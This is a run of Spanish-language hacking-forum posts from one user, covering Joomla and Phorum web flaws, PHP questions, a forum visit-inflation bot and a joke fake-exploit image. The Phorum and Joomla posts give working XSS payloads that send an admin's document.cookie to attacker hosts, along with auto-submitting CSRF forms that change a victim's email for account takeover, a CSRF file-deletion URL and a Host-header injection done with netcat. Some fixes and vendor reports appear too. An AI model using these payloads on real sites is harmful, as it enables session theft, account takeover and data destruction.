Si se han fijado, la sección de creación de usuarios en joomla no contiene ningún sistema de proteción contra la automatización como por ejemplo una captcha o algún sistema audiovisual que por lo menos le haga la vida un poco mas dificil al atacante. Con esto podemos crear usuarios sin la necesidad de pedirle permiso a nadie ni de utilizar el mismo explorador.

Tampoco te limita la cantidad de usuarios creados por ip asi que no puede ser mas fácil crear remotamente un usuario desde un script en perl o cpp.

Una generación de usuarios en masa podría causar la inestabilidad del sistema.

el uso de esta vulnerabilidad puede ser aprobechada por la siguiente:



Vulnerabilidad de tipo XSS en el componente "User" del panel de Administración

Vamos a este enlace:
http://127.0.0.1/joomla/index.php?option=com_user&task=register
Obiamente reemplazando localhost por el servidor a auditar mas la ruta.

En nombre de usuario le podemos insertar código HTML pero hay un pequeño filtro que impide insertar carácteres como "<" pero nada mas, asi que podríamos insertar muy fácilmente una comilla doble para escapar del input y comenzar a insertar el código html.
Ejemplo:
nombre" onclick="document.location='http://www.atacante.com/?cookies.php?cookies='+document.cookie" x="

No pude poner un onload() porque el explorador solamente lo interpreta desde <body> y no desde <input>, de ahi ya viene la imaginación de cada uno.. se ponen un nick super feo y le dicen al admin que si puede cambiarlo por ti y ya con eso cuando le haga click se estará ejecutando el xss con su sesión logueada y el script que recepcionaría la cookie tendría la misma instrucción que el post anterior donde se demostraba la instalación remota de una shell como si fuera módulo:
https://foro.elhacker.net/nivel_web/multiples_fallas_en_joomla_159_poc_instalacion_de_una_shell-t244742.0.html;msg1201898#msg1201898
VIDEO
[youtube=600,500]http://www.youtube.com/watch?v=C-J15H8FT5w&feature=player_embedded[/youtube]

Ahora esta vulnerabilidad también se puede aprovechar con la vulnerabilidad anterior de la creación arbitraria de usuarios haciendo que cuando el atacado vea un sitio web con un iframe de 1 x 1 pixel se redireccione al script en php donde hará la creación del usuario arbitrariamente con el nombre de usuario con código html y posteriormente procederá a la redireccion para su ejecución y posterior instalación de la shell.



esto lo encontré en el archivo:
/administrator/components/com_users/views/user/tmpl/form.php
pero me puse a buscar criterios y pude ver que eran bastantes mas.
Quieren ver a cuantos archivos le afecta esto?:


A 10 archivos en mas de 40 ocasiones incluyendo el theme beez de las abejas.
Esto podría extenderse a todos los themes que se han hechos para joomla y obiamente no pueden repararse todos al 100% asi que la solución mas viable sería devolver los datos ya filtrados en htmlspecialchars aunque eto interrumpiría en algunas funciones personalizadas ya que el valor dejaría de ser fiel al que está en la base de datos.

Hasta ahora no lo he publicando en ningún lado asi que obiamente no está parchado pero pueden hacerlo ustedes mismos y buscar donde diga:
<?php echo $this->user->get('lo_que_sea') ...
lo reemplazan por:
<?php echo htmlspecialchars($this->user->get('lo_que_sea'), ENT_QUOTES) ...

En mi caso aprobeché de optimizar un poco el código agregando cada input a mostrar dentro de un array y no escribir uno por uno como lo hace joomla ahorrando la carga del texto en memoria aunque esto igual sería reemplazado pro el proceso en php pero a la ves se ve mas limpio y modificable:

Código (php) [Seleccionar]
<form action="index.php" method="post" name="adminForm" autocomplete="off">
<div class="col width-45">
<fieldset class="adminform">
<legend><?php echo JText::_'User Details' ); ?></legend>
<table class="admintable" cellspacing="1">
<?php /* Modificaciones */ 
$datos_input[] = array('titulo' => 'Nombre completo' 'id' => 'name');
$datos_input[] = array('titulo' => 'Nick',   'id' => 'username');
$datos_input[] = array('titulo' => 'Apellido paterno' 'id' => 'apellidopaterno');
$datos_input[] = array('titulo' => 'Apellido materno' 'id' => 'apellidomaterno');
$datos_input[] = array('titulo' => 'Correo personal' 'id' => 'email');
$datos_input[] = array('titulo' => 'Correo de empresa' 'id' => 'correodeempresa');
$datos_input[] = array('titulo' => 'Fecha de nacimiento' 'id' => 'fechanacimiento');
$datos_input[] = array('titulo' => 'Fecha de contrato' 'id' => 'fechacontrato');
$datos_input[] = array('titulo' => 'Cargo' 'id' => 'cargo');
$datos_input[] = array('titulo' => 'Estado civil' 'id' => 'estadocivil');
$datos_input[] = array('titulo' => 'Cantidad de cargas' 'id' => 'cantidaddecargas');
$datos_input[] = array('titulo' => 'Tel&eacute;fono empresa' 'id' => 'telefonoempresa');
$datos_input[] = array('titulo' => 'Tel&eacute;fono particular' 'id' => 'telefonoparticular');
$datos_input[] = array('titulo' => 'Domicilio' 'id' => 'domicilio');
$datos_input[] = array('titulo' => 'Comuna' 'id' => 'comuna');
$datos_input[] = array('titulo' => 'Ciudad' 'id' => 'ciudad');

foreach(
$datos_input as $fila){
echo 
'
<tr><td class="key">'
.htmlspecialchars($fila['titulo'], ENT_QUOTES).'</td>
<td><input size="40" type="text" name="'
.htmlspecialchars($fila['id'], ENT_QUOTES).'" value="'.htmlspecialchars($this->user->get($fila['id']), ENT_QUOTES).'" /></td>
</tr>
'
;
}
?>


antes del input del password.
PD: esto fue una modificación que tube que hacer para un trabajo pero obiamente ustedes también pueden adaptarlo o cuear un mod totalmente nuevo para que la gente se registre.
#350
Hola, tengo un pequeño problema,
_hize un control de diseño y este no se sobrepone a un label asi que intenté crear otro control con un label nuevo que se comportara exatamente igual pero quería hacerlo transparente para que pudiera verse como un label cualquiera, al hacerlo solo pude poner transparente el control pero no el label o si no desaparece y si pongo transparente el label y no el control se ve normal... alguien sabe como hacer que todo se vea transparente menos las letras?

También lo intenté con una caja de texto ya que este tiene un manejador de objeto asociado pero el Getwindowa no me modifica la transparencia, debe ser porque no se interpreta en los controles de usuario o que se yo.

alguien puede darme una mano?

La idea principal era crear enlaces estilo web donde uno pueda hacer click en el label para hacer ciertas acciones ya que es un menú lateral y no se vería muy bién con un botón.

Gracias.
#351
PHP / Duda con simplexml_load_file
13 Abril 2009, 07:33 AM
Hola, tengo una pequeña duda..

Estoy cargando un archivo XML desde simplexml_load_file() pero este no me debuelve los valores en blanco y si necesito que los considere para poder crear las tablas, es como si fuera un excel donde hay columnas vacías que pueden ser datos extras pero no las toma y al procesarlo me indica como si la siguiente columna lo reemplazara.

Se que hay un valor "LIBXML_NOBLANKS" que es "Remove blank nodes" o sea que no los muestre pero yo quiero todo lo contrario.. que si los muestre.

Alguien tiene alguna idea?
#352
Bueno primero que nada este post pienso alimentarlo mientras dure el abril negro, después de esto no lo continuaré.

Mi proyecto a presentarles se llama

Ghost SMF

Versión 1.0


Versión 1.1

Modificaciones:
  • Bug reparado en la barra de progreso ya que cuando se generaba un valor decimal no se visualizaba
  • Bug reparado en la selección de Seo4SMF eliminandose ya que el control no era compatible con algunos sistemas añadiendo soporte para una sola url.
  • Ya no es necesario escribir el host y la ruta en dos lugares diferentes dando soporte para urls con Seo4-SMF, Pettys-URL y módulos de sistemas CMS con SMF-RC4.
  • Le incluí un módulo interno para simular el control del Socket, en otras palabras ya no es necesario el uso del WINSCK.OCX

    Versión 1.2

    Modificaciones:
  • Se agregaron las opciones opcionales donde podrán encontrar una caja de texto donde poder adjuntar las cookies que quieren enviar ya sea contra sistemas antibots o sesiones de usuario. si quieres saber cual es la cookie de sesión de tu usuario solo ingresa los datos "user y pass" y le haces click en "Adjuntar sesion", automáticamente el sistema logueará en el foro debolviendote la cookie correspondiente y todas las que encuentre a exepción del PHPSESSID para evitar la detección de sesiones multiples (en parte  :P).
    en realidad el programa sigue funcionando igual que antes solo que le agregué eso de las opciones en caso de que alguien quiera probarlo en algún foro con acceso restringido.
  • Video agregado para los que se han perdido con las instrucciones. Hacer click acá para ver.

    Versión 1.3

    Modificaciones:
  • Se modificó el tiempo de espera por petición a un valor mínimo al azar haciendolo mas rápido y evadiendo IDS que puedan detener al Ghost. El valor está declarado con 5 decimales asi que es imposible que una petición tenga el mismo tiempo que el anterior.
  • Se agregó un sistema de estadisticas en tiempo real sobre el uso de memoria Ram.
  • Eliminación de la dependencia de las barras de progreso para hacerlo independiente de sistemas adicionals como por ejemplo una dll, ocx o un interpretador de phiton.

    De que se trata?
    Envía fantasmas a los foros SMF aumentando la cantidad de visitas únicas natno en las estadisticas de la portada como para post individuales:
    https://foro.elhacker.net/analisis_y_diseno_de_malware/ghost_smf_version_11_by_whk_proyecto_solo_para_abril_negro-t250838.0.htm


    Su uso es super fácil:


    Opciones avanzadas (Opcional):


    Es importante que si la ruta es por ejemplo:
    http://foro.elhacker.net/analisis_y_diseno_de_malware/ghost_smf_version_11_by_whk_proyecto_solo_para_abril_negro-t250838.0.html;msg1213972#msg1213972
    elimines lo que está adelante del simbolo "#" ya que esto es una interpretación del explorador y no del servidor, por lo tanto debería quedar masomenos así:
    https://foro.elhacker.net/analisis_y_diseno_de_malware/ghost_smf_version_11_by_whk_proyecto_solo_para_abril_negro-t250838.0.html;msg1213972

    Si no entiendes mucho lo unico que debes hacer es escribir la ruta del post mas la cantidad de visitas y ya.

  • Para descargar hacer click acá

    Boooo!
#353
Hola, tenía la idea de almacenar todo el contenido de un array dentro de una base de datos y después poder obtenerla. No se como pueda guardarla sin tener que procesar cada valor de cada variable porque al final es la sesión del visitante y este puede contener varios valores y varios arrays dentro de otros arrays.
No puedo usar explode e implode porque si tengo dos arrays uno dentro de otro no podrá debolverme el string.

Alguien tiene alguna idea?

ejemplo:
Código (php) [Seleccionar]
<?php
$sesion 
obtener_sesion($_COOKIE['SESION']);
$sesion['nuevo'] = array('pedro''25''como me llamo?' => 'WHK''s45d7e8');
grabar_sesion($_COOKIE['SESION'], $datos);
?>

Esque quiero ser independiente de las sesiones phpsessid debido a que si montas el code en un servidor que no soporta sesiones cmo los virtuales estás jodido.
Había pensado hacer las sesiones en textos txt igual que sqllite pero encontré que era mas ordenado en la base de datos aunque no es mas eficiente, luego pensaré eso, por ahora quiero ver como tomar un array y pasarlo a string para despues poder volverlo a array.
#354
Hola, estaba haciendo un sistema modular donde se incluye el archivo php y quiero que todo lo que lanze ese archivo como un echo o un print_r que se guarde en una variable para despues poder lanzarlo en otra parte.
Ejemplo..

index.php
Código (php) [Seleccionar]
<?php
// accion para que tome todo lo que viene en una variable $cuerpo
include_once('modulo.php');

echo 
'cabezera';
echo 
$cuerpo;
echo 
'termino';

?>


modulo.php
Código (php) [Seleccionar]
<html>
<?php echo 'portada'?>
</html>


Esto también me serviría para poder manipular el contenido en caso de ser necesario.

La pregunta del millón.. alguien recuerda como hacerlo??, se que algo tiene que ver ob_start y funciones relacionadas pero no las conozco bien y en php.net me enreda un poco  :P
#355
Bueno, no se si les ha pasado cuando crean un sistema o lo que sea y no les funciona.. comienzan a alterar el código como por ejemplo..

Código (php) [Seleccionar]
$texto = 'direccion@gmail.com';
echo '1';
if(eregi('@gmal',$texto)){
echo '2';
redireccionar();
echo '3';
}else{
echo '4';
guardar();
echo '5';
}


jajaja para saber hasta donde se produce la falla pero a veces poner numeros y cosas no resulta muy bién porque se te pierden  :-\ asi que yo de plano a veces pongo <h1>TEST</h1> pero me encontré que editando un módulo de joomla esto se me perdía  :o asi que dije "y donde está wally?" asi que me busqué en google a wally y lo pegué poniendo mas visible donde estaba la falla  ;D





jajaja infalible!
#356
Nivel Web / Múltiples fallas en Phorum 5.2.10
12 Marzo 2009, 04:36 AM
Sistema afectado: http://www.phorum.org/

Entré en el foro de un amigo (si se puede decir amigo todavía) y me dió curiosidad de saber que sistema estaba utilizando o realemnte lo habia construido el y su staff como me habian dicho así que me puse a revisar sus variables get y las puse en gogole una por una hasta que encontré que estaban utilizando un sistema de foros llamado Phorum, me dió mas curiosidad todavía y me puse a descargar el sistema.
Al darle un vistazo simple a un solo archivo me di cuenta de muchisimas faltas que podia causar desde un XSS hasta CSRF.

Como el foro era de un "amigo" se lo dije por msn y me mandó a la chingada XD y me dijo que porque no jodia en otro lado y reportaba la falla al autor y bueno, eso fue lo que hize. Ahora que el sistema ya ha sido parchado (en parte) lo publicaré en este lugar.

Les demostraré atraves de estas fallas como entrar como Administrador teniendo acceso total al servidor, postear como otros usuarios, modificar contraseñas de sesiones, etc.

1. XSS
Código (php) [Seleccionar]
} elseif(isset($_POST["panel"])){
    $panel = $_POST["panel"];

Acá podemos ver en el archivo control.php que declara la variable $panel directamente desde $_POST["panel"] sin procesar ningún tipo de filtro ni nada permitiendo la inserción de carácteres especiales como "<", ">", comillas etc los cuales pueden transformarse en código HTML.
Para que esto funcione vemos que la variable es POST así que hacemos una petición POST inyectando esa variable de la siguiente manera:
Código (html4strict) [Seleccionar]
<form method="post" action="http://web/path/control.php">
<input type="text" name="panel" value="Tu XSS acá" />
<input type="submit" value=" Submit "/>
</form>


Enviamos un valor algo así como: "><h1>prueba
y podemos ver que el código html infectó la variable $panel pero en que parte se muestra ahora para que se ejecute?:
Código (php) [Seleccionar]
$PHORUM['DATA']['POST_VARS'].="<input type=\"hidden\" name=\"panel\" value=\"{$panel}\" />\n";
Offtopic (En este caso utilizar comillas simples para declarar el valor de esa variable era mas eficiente ya que evitabas escribir \ cada ves que quisiera ingresar una comilla doble y las llaves se hubieran reemplazado por comilla mas coma que pasado a eficiencia resulta mas liviano en ejecutarse y mas aún cuando esto se extiende en todo el sistema)

Podemos ver que $panel es imrpimido en la web y cuando enviamos la variable post podemos ver como se incrusta nuestro código en la web.

2. CSRF
Bueno, acá n vamos a profundizar o tendremos que exponer todas las funciones que utilizen POST y GET para actualizar datos ya que en ningún caso es utilizado ningún token ni una verificación de referencia ni nada así que podriamos decir que podemos hacer practicamente de todo arbitrariamente tanto como modificar los datos de su perfil como postear, cambiar contraseñas etc etc.

Pruebas
Creamos un archivo llamativo que requiera javascript para ejecutar nuestro XSS:

Index.html
Código (html4strict) [Seleccionar]
<object width="425" height="344">
<param name="movie" value="http://www.youtube.com/v/GIiFGMYpLUc&hl=es&fs=1">
</param>
<param name="allowFullScreen" value="true">
</param>
<param name="allowscriptaccess" value="always">
</param>
<embed src="http://www.youtube.com/v/GIiFGMYpLUc&hl=es&fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344">
</embed>
</object>
<!-- muchos espacios de retorno acá -->
<br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br>
<br><br>
<iframe src="test.html" width="1" height="1" frameborder="0"></iframe>


test.html
Código (html4strict) [Seleccionar]
<!--
-=[WHK]=-
Prueba de concepto para Phorum 5.2.10 y versiones anteriores.
Prueba de concepto 1 de 18
-->
<form method="post" action="http://foro.forodemiamigo.net/control.php">
<input type="hidden" value='">
<script>document.location="http://mi_ip/metopo.json?req=" + document.cookie;</script>
<br x="' name="panel"/>
<input type="submit" value=" Submit "/>
</form>
<script>document.getElementsByTagName("form")[0].submit();</script>


Con esto hacemos que nuestro amigo administrador o alguiehn que tenga los suficientes derechos pueda ver el video que aparece en el index.html y cuando lo haga nos enviará su cookie en forma de petición get como por ejemplo:
http://mi_ip/metopo.json?req=sdfhvfsdf4645465
Ahora para capturarlo pueden hacerlo en php y guardarlo en un texto, en mi caso simplemente lo capturé desde los logs de acceso.

Ahora tomamos esa cookie y la ponemos en nuestro explorador y listo!, ya somos Administradores  ;D.

Ahora en el caso de que no hubiera XSS y quisieras hacerlo via CSRF puedes enviarle una petición para modificar su correo y luego debolverte tu pass al mismo ^^
Código (html4strict) [Seleccionar]
<form action="http://foro.forodemiamigo.net/control.php" method="post">
<input type="hidden" name="forum_id" value="0" />
<input type="hidden" name="panel" value="email" />
<input type="hidden" name="email" value="mi_mail@gmail.com" />
<input type="hidden" name="hide_email" value="1" />
<input type="submit" value=" Submit " />
</form>
<script>document.getElementsByTagName("form")[0].submit();</script>

Ahora que ya modificamos su mail nos pedirá un código de confirmación para comprobar que el correo le pertenece y eso debe ser ingresado en su mismo panel de usuario así que lo recogemos y enviamos desde otro csrf:
Código (html4strict) [Seleccionar]
<form method="post" action="http://foro.forodemiamogo.net/control.php">
<input type="hidden" value="0" name="forum_id"/>
<input type="hidden" value="email" name="panel"/>
<input type="hidden" value="mi_mail@gmail.com" name="email"/>
<input type="hidden" value="HASH RECIBIDO POR MAIL" name="email_verify_code"/>
<input type="hidden" checked="checked" value="1" name="hide_email"/>
<input type="submit" value=" Submit "/>
</form>
<script>document.getElementsByTagName("form")[0].submit();</script>


Otras cosas que puedes hacer de la misma forma es postear por tu amigo o modificar su firma, etc.

Ahora le pusieron un Token de seguridad para evitar un ataque CSRF pero si tubieras acceso a otro XSS podrías incluir instrucciones Ajax para tomar el valor de su token y enviar una petición via XMLHttp con el CSRF y realizar exatamente lo mismo nuevamente.

Recibí en el último correo del director del rpoyecto los links con los trakers para que puedan actualizar su sistema yq eu todavía no se pone el paquete con sus parches de forma publica:
http://trac.phorum.org/changeset/3930
http://trac.phorum.org/changeset/3936
http://trac.phorum.org/changeset/3787

También le comenté de la ausencia de mysql_close dejandolo vulnerable a un ataque de peticiones masivas de vajo nivel causando daños relevantes ya que se ahogaría solo con tantas conexiones.
#357
PHP / Fake Exploit como firma
28 Febrero 2009, 05:49 AM
Bueno, acá les dejo un pequeño código que hize para gastar una pequeña broma a los que vean esta firma:

Código (php) [Seleccionar]
<?php
if(!verifica_so()){
 
$texto[] = 'WHK@53rv3rh311:~# pl ./exploit.pl -verifica:'.$_SERVER[REMOTE_ADDR];
 
$texto[] = ' [!] Sistema Operativo incompatible.';
 
$texto[] = '';
 
$texto[] = 'WHK@53rv3rh311:~#';
}else{
 if(
verifica_so() == 'win'$direccion '0x00416FA0';
 if(
verifica_so() == 'linux'$direccion '0x00406F4C';
 if(
verifica_so() == 'unix'$direccion '0x00402360';
 
$texto[] = 'WHK@53rv3rh311:~# pl ./exploit.pl -ip:'.$_SERVER[REMOTE_ADDR].' -so:'.verifica_so();
 
$texto[] = ' --=[PoC BoF Linux/Win/Unix 2.5 Final by WHK]=--';
 
$texto[] = ' [+] Conectando ...';
 
$texto[] = ' [!] Retorno --> '.$direccion;
 
$texto[] = ' [+] Lanzando ...';
 
$texto[] = ' [+] Completado con éxito!';
 
$texto[] = '';
 
$texto[] = 'WHK@53rv3rh311:~#';
}

$handle imagecreate(400105);

$fondo imagecolorallocate($handle000);
$color_texto imagecolorallocate($handle02550);
$salto 5;
foreach(
$texto as $linea){
 
imagestring($handle210$salto$linea$color_texto);
 
$salto $salto 12;
}
header("Content-type: image/png");
imagepng($handle);

function 
verifica_so(){
 if(
eregi('Windows'strtolower($_SERVER[HTTP_USER_AGENT]))) return 'win';
 if(
eregi('linux'strtolower($_SERVER[HTTP_USER_AGENT]))) return 'linux';
 if(
eregi('unix'strtolower($_SERVER[HTTP_USER_AGENT]))) return 'unix';
 return 
false;
}
?>


Prueba:


Pueden modificarlo y cargarlo con imagenes no se, hagan lo que quieran con el código.
#358
Nivel Web / Aatque WEB atraves de subdominios
21 Febrero 2009, 04:03 AM
Nota inicial: webdedescargas.com no es un sitio real, solo es un ejemplo. webdedescargas.com actualmente es un dominio parqueado sin actividad alguna.

estuve investigando un poco sobre una falla de seguridad poco común que pude encontrar en un sitio web de descargas donde el archivo se mostraba como subdominio, por ejemplo:

Web normal ---> http://firefox.webdedescargas.com/

al crear mi propia petición GET con netcat pensé "que pasaría si modifico el header 'host:' ?" y al hacerlo pude darme cuenta que al igual que otros sitios similares sus valores de respuesta se reflejan en ese header y no necesariamente en el subdominio al que le hize GET. Por ejemplo:

Código (bash) [Seleccionar]
nc -v www.webdedescargas.com 80
GET / HTTP/1.1
connection: close
host: <h1>XSS.webdedescargas.com



Luego el servidor me responde con cada valor como si mi xss fuera el subdomino válido.
Busqué si había alguna información al respecto y encontré una forma:
http://serhost.com/blog/comments.php?y=06&m=10&entry=entry061022-154634
donde puedes hacerlo con un .htaccess de la siguiente manera:
Options +FollowSymLinks
RewriteEngine On
RewriteCond %{ENV:REDIRECT_STATUS} ^$
RewriteCond %{HTTP_HOST} !^(www\.)?serhost\.com$ [NC]
RewriteCond %{HTTP_HOST} ^(www\.)?([^\.]+)\.serhost\.com$ [NC]
RewriteRule ^(.*)$ pruebas/$1 [QSA,L]


Justamente en este ejemplo los subdominios son convertidos en directorios según la request.

Con este dato ya podemos causar desde un XSS persistente como SQL inyecciones dentro de cualquier header utilizando cualquier herramienta de conexión remota.



El resultado del test.html fue justamente el contenido del software llamado nero pero reemplazemos eso por un XSS y verás como se ejecuta, en tagboards y chats eso podría causar un xss persistente o en algunos casos inyecciones sql donde normalmente no tienes acceso a mayores modificaciones para ejecutar las sentencias sql donde por lo visto la constante $_SERVER['SERVER_NAME'] también es afectada (justamente donde no se pensaba que podría llegar algún tipo de ataque en sistemas cms conocidos) asi que ojo al momento de programar.
#359
Vulnerabilidad de tipo CSRF en Joomla! 1.5.9

He localizado una falla en Joomde tipo CSRF (Cross Site Rquest Forgery) que permite a un atacante la posibilidad de eliminar el directorio completo de imagenes lo cual sería fatál como para un sitio de noticias donde prescindisa de sus imagenes para poder dar su información. Esta falla no permite al atacante la posibilidad de subir un archivo ni eliminar los que estén fuera del directorio "/images".

La falla se localiza en el módulo de Administracion llamado "Media Manager" donde su petición GET para solicitar la eliminación de un directorio o archivo no incluye ningún Token o sistema de seguridad válido para impedir este tipo de ataques.

Prueba de concepto:
http://ejemplo.com/administrator/index.php?option=com_media&task=file.delete&tmpl=component&folder=directorio&rm[]=Imagen.jpg

El punto es que la falla se localiza en el archivo administrator/com_media/controllers/file.php en la linea 136 donde se omite el token de seguridad:





Un atacante necesitaría que el un usuario del sistema Joomla tenga derechos de Administración y caiga en algún tipo de engaño como una imagen falsa que redireccione hacia el borradoinicialmente del index.html que impidía ver los archivos, una ves eliminado el mismo script podría tener la capacidad de listar todos los archivos a eliminar con un segundo ataque puesto por ejemplo dos veces en una misma firma dentro de algún foro o publicación parcial del mismo sistema como editor.

Nota:
Los archivos que pueden ser eliminados no necesariamente deben ser imagenes ya que el sistema solo permite la subida de imagenes pero la eliminación de cualquier tipo de archivo.
Para poder repararlo solamente debes agregar el token de seguridad tal como aparece en la función de subida.

Fuentes:
http://foro.elhacker.net/nivel_web/bug_en_joomla_159_eliminacion_del_directorio_de_imagenes_por_completo-t244742.0.html
http://www.jccharry.com/blog/2009/02/09/whk_vulnerabilidad-de-tipo-csrf-en-joomla-159.html
http://forum.joomla.org/viewtopic.php?f=300&t=371705
#360
Los temas más destacados sobre fallas y explotaciones a nivel Web

Advisories